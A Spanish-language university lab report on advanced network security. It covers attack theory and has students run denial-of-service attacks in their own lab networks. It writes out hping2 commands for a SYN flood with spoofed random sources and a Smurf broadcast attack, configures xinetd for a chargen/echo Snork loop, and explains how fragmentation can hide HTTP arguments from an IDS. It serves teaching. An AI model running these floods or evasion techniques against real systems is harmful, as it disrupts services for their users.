Aspectos Avanzados de Seguridad en Redes

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA.
Ing. Carlos Alberto Amaya Tarazona
Deben llevar desarrolllados los ejercicios y realizar la explicación ante el grupo. Demostrar su
funcionamiento y soportar la parte teórica del mismo o el significado de las herramientas y los procesos
que están realizando.
EJERCICIO DE UN SNIFFER COMO ETTERCAP PARA CAPTURAR CONVERSACIONES TCP COMO LAS
CONTRASEÑAS DE CORREO: Denis Marianny Agudelo Fonseca, Nancy Carolina Machuca Saavedra.
Fecha Octubre 31 de 2009.
EJERCICIO DE SIMULACION SOBRE PACKET TRACER CON LOS ESQUEMAS DE DIRECCIONAIENTO:

(Mary Luz Granados, Jenny Paola Díaz, Edelmira Acuña). Fecha Octubre 31 de 2009.
Realice los siquientes esquemas:

192.168.16.100/28
Utilice los últimos 10 nodos de la cuarta subnet utilizable de ese esquema. (En el simulador)
La puerta de enlace será el primer nodo de la segunda subnet utilizable
DNS1: Primer nodo de la tercera subnet utilizable
DNS2: Ultimo nodo de la Primera subnet utilizable
Para cada uno de los siguientes esquemas realice:
1) 192.168.16.45/28
2) 190.254.56.146/29
3) 172.26.96.162/24
4) 172.28.9.229/24
5) 10.1.1.1/24
6) 200.21.200.2/29
7) 200.21.200.10/28
8) 194.25.50.100/27
9) 192.200.10.30/29
10)192.189.1.2/29
Direcciones de Subnet
Broadcast
Número de host disponibles
Numero de subredes
Subnet por defecto
Broadcast por defecto
Ubicación de la IP en la red
Categoría a la que pertenece
Muestre el desarrollo del ejercicio en binario.
Y para llevarlos al simulador, una dos subnets en cada esquema. La segunda utilizabe de cada esquema
y la antepenultima utilizabble. De cada subnets solo use cinco (05) estaciones de trabajo. Asigne las
puertas de enlace y DNS que considere necesarias y viables.
1 de 60
EJERCICIO1: Diego Fernando Varcarcel Caro: Fecha Octubre 31 de 2009.

1.1 ¿Qué tipos de vulnerabilidades nos podemos encontrar en la capa de transporte?
1.2 Indica y explica en qué consisten las distintas herramientas de búsqueda de huellas
identificativas.
1.3 Indica qué tipos de técnicas utilizan los escuchadores de red y cómo se puede evitar su
uso.
1.4 Busca por Internet y explica con tus palabras qué es un “Land Attack”.
DESARROLLO.
Ejercicio1
1.1
Las vulnerabilidades pretenden describir las debilidades y los métodos más comunes que se
utilizan para perpetrar ataques a la seguridad de la familia de protocolos TCP/IP
(confidencialidad, integridad y disponibilidad de la información).
Éstos pueden provenir principalmente de dos fuentes:
- Usuarios autentificados, al menos a parte de la red, como por ejemplo empleados internos
o colaboradores externos con acceso a sistemas dentro de la red de la empresa. También
denominados insiders.
- Atacantes externos a la ubicación física de la organización, accediendo remotamente.

También denominados outsiders.
Amenazas Consecuencias
INTEGRIDAD
Datos modificados Información perdida
Caballo de Troya Maquina penetrada
Memoria cambiada Vulnerabilidad a otras amenazas
Mensajes modificados (en
transito)
CONFIDENCIALIDAD
Mensajes escuchados en la red Perdida de privacidad
Datos robados de servidores Revela contraseñas etc.
Análisis de trafico Identifica patrones de acceso
Detecta configuración de la red Facilita otros ataques
DENIAL OF SERVICE
Procesos matados Molestias
Inundación con paquetes Interferencia con trabajo
Llenado de discos
2 de 60
Aislamiento de maquinas (DNS)

AUTENTIFICACION
Identidades falsas Acciones atribuidas al usuario
Datos falsos Daño al nombre institucional
Las vulnerabilidades pueden clasificarse según dos criterios:

- Número de paquetes a emplear en el ataque:
Atomic: se requiere un único paquete para llevarla a cabo.
Composite: son necesarios múltiples paquetes.
- Información necesaria para llevar a cabo el ataque:
Context: se requiere únicamente información de la cabecera del protocolo.
Content: es necesario también el campo de datos o payload.
Ping of death Port scan

Context Land attack SYN Flood
WinNuke TCP hijacking
DNS attack SMTP attacks
Content Proxied RPC String matches
IIS attack Sniffing
Atomic Composite
1.2
La utilización de estas técnicas se conoce con el nombre de fingerprinting, es decir,

obtención de la huella identificativa de un sistema o equipo conectado a la red.
Una técnica específica que permite extraer información de un sistema concreto es el

fingerprinting es decir, la obtención de su huella identificativa respecto a la pila TCP/IP.
El objetivo primordial suele ser obtener el sistema operativo que se ejecuta en la máquina
destino de la inspección. Esta información junto con la versión del servicio o servidor facilitará
la búsqueda de vulnerabilidades asociadas al mismo.
Gran parte de la información de la pila TCP/IP puede obtenerse en base al intercambio en

tres pasos propio del protocolo TCP/IP (TCP three-way handshake)
La probabilidad de acierto del sistema operativo remoto es muy elevada, y se basa en la

identificación de las características propias de una implementación de la pila TCP/IP frente a
otra, ya que la interpretación de los RFCs no concuerda siempre. Para poder aplicar esta
técnica con precisión es necesario disponer de un puerto abierto (TCP y/o UDP).
3 de 60
Las diferentes pruebas a realizar para diferenciar los sistemas operativos son:
- FIN probe: Al enviarse un paquete de FIN el sistema remoto no debería responder

unque implementaciones como la de Windows NT devuelven un FIN-ACK.
- Bogus flag probe: Se activa un flag TCP aleatorio en un paquete SYN. La respuesta
de implementaciones como Linux devuelven un SYN-ACK con el mismo flag activo.
- ISN sampling: Pretende encontrarse un patrón empleado por la implementación para

seleccionar los números iniciales de secuencia (ISN) de una conexión TCP.
- Monitorización del “Don´t fragment bit”: Se analiza si el sistema operativo establece por
defecto el bit de no fragmentación (DF) como activo o no.
- Tamaño de ventana TCP inicial: El tamaño de ventan empleado por defecto en cada
implementación es muy particular y ayuda a descubrir de cual puede tratarse.
- Valor de ACK: El valor del número de secuencia asignado en el campo ACK diferencia
también la implementación, ya que algunas devuelven el valor recibido como número de
secuencia mientras que otras lo incrementan en uno.
- Mensaje de error de ICMP quenching: El RFC 1812 determina que el control de flujo de
mensajes de error debe limitarse. Al enviar un paquete UDP a un número elevado de
puerto, aleatoriamente, se puede medir el número de mensajes de tipo unreachable por
unidad de tiempo.
- ICMP message quoting: Los comentarios añadidos a los mensajes de error ICMP varían
en función del sistema operativo.
- Mensajes de error ICMP-integridad: Las cabeceras IP pueden ser alteradas por las
diferentes implementaciones al devolver mensajes de error ICMP. Un análisis exhaustivo
de los cambios en las cabeceras puede permitir determinar el S.O.
- TOS (Tipo de Servicio): Ante los mensajes “ICMP port unreachable” puede examinarse
el campo TOS, que suele ser cero pero puede variar.
- Gestión de la fragmentación [ El manejo de los paquetes fragmentados que se

superponen es gestionado de forma particular por cada pila: al reensamblar los
fragmentos, algunas sobrescriben los datos más antiguos con los nuevos y viceversa.
- Opciones TCP: Los RFCs 793 y 1323 definen las opciones TCP posibles. Mediante el
envío de paquetes con muchas opciones avanzadas activas (no operation, MSS, Window
4 de 60
scale factor, timestamps...) puede descubrirse el comportamiento de cada S.O.
Dos de las herramientas que facilitan esta tarea son NMAP y QUESO. Mientras que la
funcionalidad de la primera es muy amplia, la segunda sólo se aplica a la aplicación de esta
técnica (identificación de sistemas a través del comportamiento de la pila TCP/IP).
Dentro de las técnicas de identificación de un sistema existen otras, denominadas pasivas,

que no se basan en enviar paquetes al sistema a atacar. Para ello monitorizan el tráfico
asociado al sistema y en función de los atributos y características de los paquetes,
principalmente de las cabeceras TCP, determinan su origen.
1.3
TECNICAS UTILIZADAS:
Sniffers: que se encargan de capturar e interpretar tramas y datagramas mediante

aplicaciones en entornos de red basados en difusión. Un sniffer no es más que un sencillo
programa que intercepta toda la información que pase por la interfaz de red a la que esté
asociado. Una vez capturada, se podrá almacenar para su análisis posterior.
Sniffing: consiste en que sin necesidad de acceso a ningún sistema de la red, un atacante
podrá obtener información sobre cuentas de usuario, claves de acceso o incluso mensajes
de correo electrónico en el que se envían estas claves.
La forma más habitual de realizar técnicas de sniffing en una red, probablemente porque
está al alcance de todo el mundo, es la que podríamos denominar sniffing software,
utilizando las aplicaciones que ya mencionadas.
Niffing: también se conocen como técnicas de eavesdropping y técnicas de snooping. La

primera, eavesdropping, es una variante del sniffing, caracterizada por realizar la adquisición
o intercepción del tráfico que circula por la red de forma pasiva, es decir, sin modificar el
contenido de la información.
Por otra parte, las técnicas de snooping se caracterizan por el almacenamiento de la
información capturada en el ordenador del atacante, mediante una conexión remota
5 de 60
establecida durante toda la sesión de captura. En este caso, tampoco se modifica la

información incluida en la transmisión.
COMO SE PUEDEN EVITAR LOS ATAQUES:

Una solución para evitar esta técnica consiste en la segmentación de la red y de los equipos
mediante el uso de conmutadores (switches). Al segmentar la red y los equipos, el único
tráfico que tendrían que ver las máquinas sería el que les pertenece, puesto que el
conmutador se encarga de encaminar hacia el equipo únicamente aquellos paquetes
destinados a su dirección MAC
1.1 Con tus palabras qué es un “Land Attack”. Ç

Un ataque LAND se realiza al enviar un paquete TCP/SYN falsificado con la dirección IP del
servidor objetivo como si fuera la dirección origen y la dirección destino a la vez, además de
usar un puerto abierto TCP, tanto de destino como de origen. Las consecuencias son:
Que el servidor piense o responda a sí mismo ciontinuamente hasta colapsar.
Como evito el ataque LAND:
La mayoría de los firewalls deberían interceptar el paquete malicioso. Adicionalmente routers

deberían ser configurados con filtros tanto de entrada como de salida, para bloquear tráco
donde la dirección IP origen se encuentra en el mismo espacio de direcciones que la
dirección destino. Algunos sistemas operativos han generado actualizaciones para
específicamente cubrir este problema de seguridad.
EJERCICIO2: Diego Fernando Varcarcel Caro: Fecha Octubre 31 de 2009.
2.1 Supón que en una red hay un dispositivo que detecta ataques al servicio HTTP analizando el
argumento de la petición GET, pero no recompone los paquetes fragmentados. ¿Qué tamaño de MTU
deberíamos utilizar para ocultar al máximo los argumentos? -
DESARROLLO:
6 de 60
Con unas cabecera IP y TCP de 20 y 32 bytes de longitud respectivamente, cogiendo un tamaño de

fragmento de 52 bytes nos aseguramos de que en el primer fragmento no aparece información del
protocolo de nivel de aplicación http. Este tamaño de fragmento cumple el requisito de que el tamaño
del campo de datos de la trama IP es múltiple de 8. Como tenemos fragmentos de 52 bytes,
deberíamos tener una MTU ≥ 52 (en la práctica, no existen redes con MTU menor de 68).
2.2 Dibuja la estructura de todos los fragmentos que resultarán de la comunicación del
siguiente datagrama IP - una petición HTTP - a través de una red con la MTU indicada
anteriormente, detallando el valor de los campos de la cabecera relacionados con la
fragmentación (offset, longitud y bit de más fragmentos).
DESARROLLO
7 de 60
8 de 60
9 de 60
EJERCICIO3 : Diego Joya, Milton Alfonso, Patricia Cañaveral, Nelcy

Rodríguez. Sábado 14 de Noviembre de 2009.
En este ejercicio realizarás varios tipos de ataques de denegación de servicio -DoS-, haciendo uso
únicamente de la herramienta hping3, disponible http://www.hping.org/ o también disponible en la
distro de BackTrack. Puedes encontrar información sobre la instalación en
http://www.hacktoolrepository.com/tool.pl?tid=8&toolname=hping donde hay scripts.
3.1 Arranca un servicio HTTP en el puerto 80 de vuestro equipo. Haz una inundación SYN (SYN
Flooding) de datagramas TCP al servicio arrancado, falseando la dirección origen de forma aleatoria
en cada petición. Indica la instrucción utilizada, explica los parámetros utilizados, muestra la captura y
explica las tramas (que puedes obtener mediante el Ethereal o Wireshark).
3.2 Haz ahora un ataque Smurf (ICMP de tipo echo-request) utilizando la dirección localhost (127.0.0.1)
como origen y vuestra IP como destino. Como en el caso anterior, indica la instrucción utilizada, explica
los parámetros utilizados, muestra la captura y explica las tramas.
3.3 Realiza un ataque de Snork sobre vuestro equipo jugando con los puertos del servicio Chargen y
echo en UDP. Indica la instrucción que aplicas y, tanto si el ataque tiene éxito como si no, explica los
parámetros, muestra la traza y explica el resultado.
3.4 En caso de que el ataque anterior no haya tenido éxito, pon operativos los servicios Charge y Echo
y verifica que no haya cortafuegos activos en el equipo. ¿Cómo arrancas el servicio? Vuelve a repetir el
ejercicio anterior. ¿Qué resultado obtienes y por qué?
3.5 Ejecuta ahora la instrucción localhost –s 7 –p 19 –c 1 –d 8 –a localhost
Captura las trazas y explica el tráfico capturado. Con esta instrucción, ¿sería posible hacer un ataque
Snork? ¿Por qué? Se supone que los servicios están operativos, no hay cortafuegos ni paquetes de
seguridad específicos.
DESARROLLO
3.1 Ataque SYN Flooding
Para este ejercicio, lo aplique en los equipos de la empresa con el siguiente esquema.
10 de 60
172.26.96.97
172.26.96.27/2 /24
4 Dirección IP
Linux Ubuntu Fija
810 Debian
Atacante Lenny
PC Atacado
Linux
172.26.96.162/24
Windows Server
2003
Asigna DHCP y
controla
Dominio
Router
172.26.96.241
El ataque TCP/SYN Flooding se basa en no completar intencionalmente el protocolo de

intercambio TCP para inundar la cola de espera. La victima se queda esperando por
establecer un servicio pues el atacante no responde con ACK los SYN/ACK de la victima,
Esto ocurre hasta saturar los recursos de memoria y así consigue la denegación de
servicios de la víctima.
La denegación de servicios se da por que el sistema esta a la espera de que baje el umbral
que generalmente es 1 minuto para aceptar mas conexiones, cada conexión generada por
un SYN, tienen un temporizador de 1 minuto, cuando se excede el limite de tiempo o umbral,
se libera la memoria que mantiene el estado de la conexión y la cuenta de la cola de
servicios se disminuye en 1.
El atacante debe usar un IP falso para que no le hagan seguimiento a las conexiones.
11 de 60
Diagrama del ataque TCP/SYN Flooding
ORIGEN DESTINO
IP=1.2.3.4 → SYN IP=172.26.96.97
IP=1.2.3.4 ← SYN/ACK IP=172.26.96.97
Nunca responde con ACK El IP=172.26.96.97 guarda en la cola la
petición de conexión por 1 minuto
Se repite la secuencia de requerimiento El IP=172.26.96.97 se satura por tanto
requerimiento encolado y ocurre el DoS
Cualquier IP cliente pide servicio al servidor El IP=172.26.96.97 no puede atender
requerimientos pues esta en medio de un
ataque DoS. Solamente cuando cese el
ataque automáticamente se atienden los
requerimientos de los clientes
12 de 60
PROCEDIMIENTO:
La instrucción del ataque es así:

# hping2 172.26.96.97 –-rand-source –S –-destport 80 –-faster --debug –w 2048
DESCRIPCION DE LOS PARAMETROS:
PARAMETRO DESCRIPCION
172.26.96.97 IP de la Victima
--rand-source IP ficticio o spoofed, se genera aleatorio, la idea
es que no exista en la red, al no existir este no
responde y así el atacante pasa inadvertido
--debug Muestra cada intento
-S Indica el flag “S” o SYN para solicitar un servico
--destport Indica el servicio requerido, es clave que este
servicio este habilitado en la victima
13 de 60
--faster Hace el intento de envio de SYN lo mas rápido

que se pueda
.w 2048 La ventana de envío máximo será de 2048
Ahora pruebe enviando mas paquetes por segundo y observe el rendimiento:

-iu1000000, para 1 paquete por segundo
-iu500000, para 2 paquetes por segundo
-iu333333, para 3 paquetes por segundo (*)
¿Que requisitos deben cumplirse para que el ataque sea efectivo?
Si el servidor esta blindado con un firewall que sea stateful entonces el servidor víctima será
capaz de revisar las sesiones y se dará cuenta del ataque en curso. Esto hará que el ataque
fracase.
Debe inundarse la red con muchos paquetes por segundo para que el ataque sea efectivo.
CAPTURA EN LA VÍCTIMA:
La configuración de red de la víctima es:
14 de 60
Se abrió un servicio por el puerto 80: Mi página web http://amayac.iespana.es
“NOTESE, que no cargo completamente, ya que cuando se lanzó el ataque desde la 172.26.96.27, no
se completó el servicio.
15 de 60
Las capturas por Wireshark fueron las siguientes:
Aca se observa una apertura normal de paquetes y servicios con solicitudes al puerto 80. La
solicitud la hace la máquina víctima 172.26.96.97 a un DNS amayac.iespana.es con
respuesta.
16 de 60
En ele momento de presentar el ataque, se observa la petición por parte del atacante quién
pregunta por 172.26.96.97. Se empieza a observar la inundación de paquetes SYN con la
intención de complementar el protocolo.
Luego se observa que se llega al límite al generar cada paquete un SYN/ACK cuando se
llena el tamaño del bufer que almacena las peticiones.
17 de 60
Se observa finalmente la cantidad de peticiones y de tramas del protocolo sin terminar.
3.2 Ataque Smurf

El ataque "Smurf" pertenece a la familia de ataques conocidos como Denial of Services
(DoS), los cuales tienen como objetivo principal dejar fuera de servicio a la máquina que se
ataca. Es una variante del ataque IP Flooding. El algoritmo general del ataque “Smurf” es
el siguiente:
18 de 60
ELEMENTOS NECESARIO PARA REALIZAR EL ATAQUE:
Resumo para este ejercicio de la PEC que “Smurf” maneja tres elementos diferentes que
trabajando entre si generan el ataque, estos son:
Uso de ICMP (Internet Control Messaging Protocol), normalmente de la

misma manera que el ping. El propósito original de este protocolo es el de enviar y retornar
mensajes de error, en particular "ping" chequea que una máquina específica este viva.
IP (Internet Protocol), el cual es usado por los usuarios para enviar cualquier
paquete/mensaje en Internet. Por ejemplo se pueden enviar paquetes a una "dirección
broadcast".
Cambio de dirección origen, se manipula el encabezado del paquete ICMP cambiando la

dirección origen del mismo para que de esta manera las respuestas se generen hacia dicha
dirección.
INTERPRETACIÓN CON UN EJEMPLO:
Si por ejemplo, una persona logra ejecutar un ataque "smurf" por intermedio de una red (con
su IP broadcast habilitado) que tiene 40 computadores, un solo mensaje ping creará 40 de
respuesta . Que los recibirá la víctima.
COMPONENTES DEL ATAQUE
19 de 60
El ataque "smurf" tiene tres componentes principales:

1 El Atacante: es la persona que crea los paquetes ICMP con la IP fuente falsa y lanza el
ataque.
2 El Intermediario: la red amplificadora del paquete ICMP con su direccionamiento broadcast
habilitado.
3 La Víctima: su dirección IP ha sido suplantada para que las respuestas ICMP sean
enviadas a ella. Se debe anotar que el intermediario también puede convertirse en víctima.
QUE NECESITE PARA HACER EL ATAQUE:
Deben existir varias maquinas en la red de tal forma que todas respondan con icmp-reply a
la víctima hasta inundarla. Debe inundarse la red con muchos paquetes por segundo
para que el ataque sea efectivo.
Para ello, arme una red local con cuatro (4 equipos).
Cumpliendo algunas fases previas como las que se recomiendan para empezar ha
realizar un ataque. Como la de capturar información.
10.1.1.5/24
Knoppix STD
10.1.1.4/2 0.1
4
Windows
XP
Router ADSL 524B
Dlink
10.1.1.1 Gateway
Asugna direcciones
por
DHCP a la LAN Intern
et
10.1.1.3/2
4
Windows
XP
10.1.1.2/24
Ubuntu 8.10
Equipo
Victima
Con nmap verifico o descubro las direcciones ip activas:
root@carlosubuntu:/home/carlos# nmap -sP 10.1.1.0/24
20 de 60
Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:51 COT

Host 10.1.1.1 appears to be up.
MAC Address: 00:1C:F0:73:D6:97 (D-Link)
MAC Address: 00:1D:72:6A:E0:5C (Wistron)
MAC Address: 00:50:DA:D6:BA:20 (3com)
MAC Address: 00:50:04:82:0C:B0 (3com)
Nmap done: 256 IP addresses (5 hosts up) scanned in 6.128 seconds
root@carlosubuntu:/home/carlos#
Me arroja un resultado de cinco (5) hots. Es decir incluye al router
También verifique los sistemas operativos que tenían los hosts de la red
Ejemplo para el host con la dirección 10.1.1.3
root@carlosubuntu:/home/carlos# nmap -O 10.1.1.3

Interesting ports on 10.1.1.3:
Not shown: 1710 closed ports
PORT STATE SERVICE
21/tcp open ftp
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
MAC Address: 00:1D:72:6A:E0:5C (Wistron)
Device type: general purpose
Running: Microsoft Windows XP
OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 2.725 seconds
Y para el host que destine como victima el Ubuntu 8.10
21 de 60
root@carlosubuntu:/home/carlos# nmap -O 10.1.1.2

PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
902/tcp open iss-realsecure
5900/tcp open vnc
8000/tcp open http-alt
8009/tcp open ajp13
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.17 - 2.6.23
Uptime: 0.312 days (since Sun Mar 14 14:26:35 2009)
Network Distance: 0 hops
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .

ATAQUE
La víctima es el equipo Ubuntu 8.10 con l dirección ip 10.1.1.2. la dirección de broadcast de

la red es 10.1.1.255
root@carlosubuntu:/home/carlos# ifconfig
eth0 Link encap:Ethernet HWaddr 00:a0:d1:9b:b4:56
inet addr:10.1.1.2 Bcast:10.1.1.255 Mask:255.255.255.0
inet6 addr: fe80::2a0:d1ff:fe9b:b456/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:85146 errors:0 dropped:4 overruns:0 frame:0
TX packets:84610 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:94913189 (94.9 MB) TX bytes:8073180 (8.0 MB)
Interrupt:16
Usando la herramienta ‘hping2’ que lance desde el equipo con Knoppix STD 0.1, el cual
instalé con el DVD que sumnistro la UOC. Instalado localmente en un disco duro destinado
para ello, es decir no en modo live cd.
22 de 60
La instrucción para el ataque se ejecuto así:

# hping2 10.1.1.255 --spoof 10.1.1.2 --icmp –C --icmp-request –y –V –d 56
ESTA FUE LA QUE REALICE
root@kstd:~# hping2 10.1.1.255 --spoof 10.1.1.2 --icmp -C --icmp-request -y -V -d 56

using eth0, addr: 10.1.1.5, MTU: 1500
HPING 10.1.1.255 (eth0 10.1.1.255): icmp mode set, 28 headers + 56 data bytes
--- 10.1.1.255 hping statistic ---

215 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@kstd:~#
root@kstd:~#
INTERPRETACION DEL COMANDO:

Investigando y aplicando, esto fue lo que encontré para poder explicar el comando aplicado
para este ejercicio de la PEC:
PARAMETRO DESCRIPCION
10.1.1.255 Red que se usara como medio para atacar a la maquina,
es el campo destino del paquete IP, el objetivo es
hacerle echo-request a cada una de las maquinas de la
red.
-spoof 10.1.1.2 Ip de la maquina a atacar, campo de la IP fuente del
paquete IP, a esta IP las maquinas de la red le
enviaran un icmp-reply hasta saturarla y colapsarla.
--icmp Indica el protocolo que se usara, en este caso es
icmp
-C o --icmp-request Indica el tipo de paquete ICMP, para este caso
icmp- request que es el defecto
-y Indica que no fragmente los paquetes
-V Muestra información adicional de lo que está ocurriendo
-d 56 Tamaño de los datos a enviar. 56 es el estandar del
tamaño ping
23 de 60
El sniffer me capturo estos paquetes en la maquina atacada
root@carlosubuntu:/home/carlos# tcpdump -i eth0

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
22:16:53.234983 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1024, length 64
22:16:53.235562 IP carlosubuntu.local.45325 > 10.1.1.1.domain: 40365+ PTR? 255.1.1.10.in-addr.arpa. (41)
22:16:53.267260 IP 10.1.1.1.domain > carlosubuntu.local.45325: 40365 NXDomain* 0/1/0 (97)
22:16:53.368115 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 255.1.1.10.in-addr.arpa. (41)
22:16:58.408248 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0*- [0q] 1/0/0 (Cache flush) PTR[|domain]
22:17:03.674842 IP 10.1.1.1.domain > carlosubuntu.local.51050: 21964 NXDomain 0/1/0 (100)
PARA AUMENTAR
Ahora probe enviando mas paquetes por segundo y observe el rendimiento:

# hping2 10.1.1.255 --spoof 10.1.1.2 --icmp –C --icmp-request –y –V –d 56 -iu1000000, para 1
paquete por segundo
24 de 60
Desde el punto de vista del atacante, (en este caso la 10.1.1.5 l equipo con Kanoppix STD
0.1) smurf genera un tráfico de red así:
root@kstd:~# tcpdump -i eth0

tcpdump: listening on eth0
03:21:49.430123 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)
03:21:49.431017 10.1.1.5.32769 > 10.1.1.1.domain: 36141+ PTR? 2.1.1.10.in-addr. arpa. (39)
(DF)
03:21:49.462612 10.1.1.1.domain > 10.1.1.5.32769: 36141 NXDomain* 0/1/0 (95)
(DF)
03:21:54.430080 arp who-has 10.1.1.1 tell 10.1.1.5
03:21:54.430537 arp reply 10.1.1.1 is-at 0:1c:f0:73:d6:97
(DF)
03:21:54.502520 10.1.1.1.domain > 10.1.1.5.32769: 36142 NXDomain* 0/1/0 (95)
(DF)
03:21:54.532438 10.1.1.1.domain > 10.1.1.5.32769: 36143 NXDomain* 0/1/0 (95)
03:21:59.502398 arp who-has 10.1.1.5 tell 10.1.1.1
03:21:59.502420 arp reply 10.1.1.5 is-at 0:50:4:82:c:b0
24 packets received by filter

0 packets dropped by kernel
root@kstd:~#
root@kstd:~#
Acá se puede observar que se realizan varios icmp echo request a diferentes direcciones
broadcast que en este caso particular se encuentran en mi red local (una sola), dichos
paquetes llevan como dirección origen 10.1.1.2 que en este caso es la máquina víctima.
TRAMAS CAPTURADAS CON WIRESHARK EN EL EQUIPO VICTIMA:
Las capturas del wireshark son en el equipo victima. Se configuto eth0 en modo promiscuo,
25 de 60
es decir que recibiera todo el trafico.
Con un frame de 98 Bytes se observa como las peticiones fluyen del broadcast inundando la victima
con dirección IP 10.1.1.2
26 de 60
3.3 Y 3.4 Ataque Snork
El protocolo IP define un sistema de pruebas simple que permite verificar el funcionamiento

del protocolo de comunicaciones. El sistema proporcionado por IP se basa en el envío de un
27 de 60
datagrama “especial” al computador destino, que lo reconoce y envía una respuesta al

origen (ECHO → REPLY), el protocolo IP define para estas pruebas simples un servicio para
la recepción de un datagrama UDP al puerto 7 (ECHO).
Por otro lado, existe un servicio proporcionado en muchos sistemas operativos tipo UNIX y
Windows denominado CHARGEN (CHARacter GENerator, generador de caracteres) que
dada una petición responde con
una secuencia aleatoria de caracteres.
Este ataque puede realizarse entre varios computadores (consumiendo ancho de banda y
degradando el
rendimiento de la red) o desde un mismo computador (él mismo se envía una petición y el
mismo se (él responde) consiguiendo consumir los recursos existentes (especialmente CPU
y memoria) de la máquina
atacada.
LOS REQUISITOS PREVIOS PARA EL ATAQUE SON:
En versiones antiguas de linux para habilitar los servicios echo y chargen se debe editar el
archivo /etc/inetd.conf y quitar el signo comentarios “#” de las lineas echo y chargen, luego
se debe reiniciar el servicio “inetd” con el comando /etc/init.d/inetd stop y /etc/init.d/inetd
start, y se verifica con status.
Los Linux mas modernos en cambio del archivo de configuración /etc/inetd.conf usan
archivos con el nombre del servicio y están en el directorio /etc/xinetd.d/, en este directorio
existen archivos que representan los servicios de red, en estos archivos existe una variable
llamada “disable” que debe ser igual a la palabra “no” para habilitar el servicio, luego se
debe reiniciar el servicio “xinetd” con el comando /etc/init.d/xinetd stop y /etc/init.d/xinetd
start.
PARA EL CASO DEL EJERCICIO PARA LA PEC:
Instale los tres equipos, todos con tres versiones distintas de linux. Entre ellas la versión del
knoppix STD que me suministro la UOC para realizar los ataques: Todas las tres máquinas
conectadas al router ADSL 524B que me suministra mi ISP. Este router tiene como
gateway1 10.0.0.1 y asigna direcciones Ip automáticos. Excepto la del Debian Lenny que le
asigne manual 10.0.0.60 por que ahí tengo implementado un ervidor proxy squid stable 2.7
28 de 60
10.1.1.60/24
ECHO 10.1.1.60 IP
10.1.1.2/24 Dirección IP
Origen es Falsa
Linux Ubuntu Fija
10.1.1.60
810 Debian
Lenny
Atacante Linux
PC Atacado
Router ADSL
10.0.1.1
ASIGNA DHCP
ECHO 10.1.1.3 CHARGEN/ECHO

IP Bucle Infinito
Origen es
Falsa
IP 10.1.1.60
10.1.1.3/24
Knoppix STD
Trampolin 0.1
o PC de
Lanzadera
El servicio echo estaría en la maquina 10.1.1.3 es decir en la maquina con Knoppix STD 0.1
en el archivo /etc/xinetd.d/echo-udp :
En Knoppiz STD (el equipo que use) este servicio se encuentra en un solo archivo tanto
para TCP como para UDP. En totras versiones este archivo esta separado y hay que
editarlos por separado, es decir esta en : /etc/xinetd.d/echo-udp y /etc/xinetd.d/echo-tcp
ESTOS FUERON LOS COMANDOS EJECUTADOS EN KNOPPIX STD 0.1(la máquina que va
hacer funciones de lanzadora).
Las opciones de “disable” fueron cambiadas a “no” es decir desabilitadas.
root@kstd:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:50:04:82:0C:B0
inet addr:10.1.1.3 Bcast:10.1.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX bytes:1769 (1.7 KiB) TX bytes:1723 (1.6 KiB)
Interrupt:11 Base address:0xdc00
29 de 60
lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX bytes:100 (100.0 b) TX bytes:100 (100.0 b)
root@kstd:~#
root@kstd:~# cd /etc/xinetd.d/
root@kstd:/etc/xinetd.d# ls
Aca me muestra los archivos configurables que contiene el xinet.d
chargen daytime echo time xinetd

root@kstd:/etc/xinetd.d#
se lanzo la edición con el editor: gvim echo
default: off
# description: An xinetd internal service which echo's characters back to
# clients.
# This is the tcp version. (opciones para el TCP)
service echo
{
disable = yes
type = INTERNAL
id = echo-stream
socket_type = stream
protocol = tcp
user = root
wait = no
}
# This is the udp version. (opciones para UDP)

service echo
{
disable = no
type = INTERNAL
id = echo-dgram
socket_type = dgram
protocol = udp
user = root
wait = yes
port = 7 (estas lineas las agregue para nombrar o definir el
puerto)
30 de 60
FLAGS = IPv6 IPv4
root@kstd:/etc#
se lanzo la edición con el editor: gvim chargen

Esta configuración se suele hacer para la maquina victima o atacada: es decir la 10.1.1.60
# default: off
# description: An xinetd internal service which generate characters. The
# xinetd internal service which continuously generates characters until the
# connection is dropped. The characters look something like this:
# !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg
# This is the tcp version.
service chargen
{
disable = yes
type = INTERNAL
id = chargen-stream
socket_type = stream
protocol = tcp
user = root
wait = no
}
# This is the udp version.

service chargen
{
disable = no
type = INTERNAL
id = chargen-dgram
socket_type = dgram
protocol = udp
user = root
wait = yes
port = 19
FLAGS = IPv6 IPv4
}
Luego verifico en services cuales tiene disponible el sistema:
31 de 60
root@kstd:/etc/xinetd.d# cd /etc/
root@kstd:/etc# gvim services
# Network services, Internet style

#
# Note that it is presently the policy of IANA to assign a single well-known
# port number for both TCP and UDP; hence, officially ports have two entries
# even if the protocol doesn't support UDP operations.
#
# Updated from http://www.iana.org/assignments/port-numbers and other sources.
# New ports will be added on request if they have been officially assigned
# by IANA or are needed by a debian package.
# If you need a huge list of used numbers please install the nmap package.
tcpmux 1/tcp # TCP port service

multiplexer
echo 7/tcp
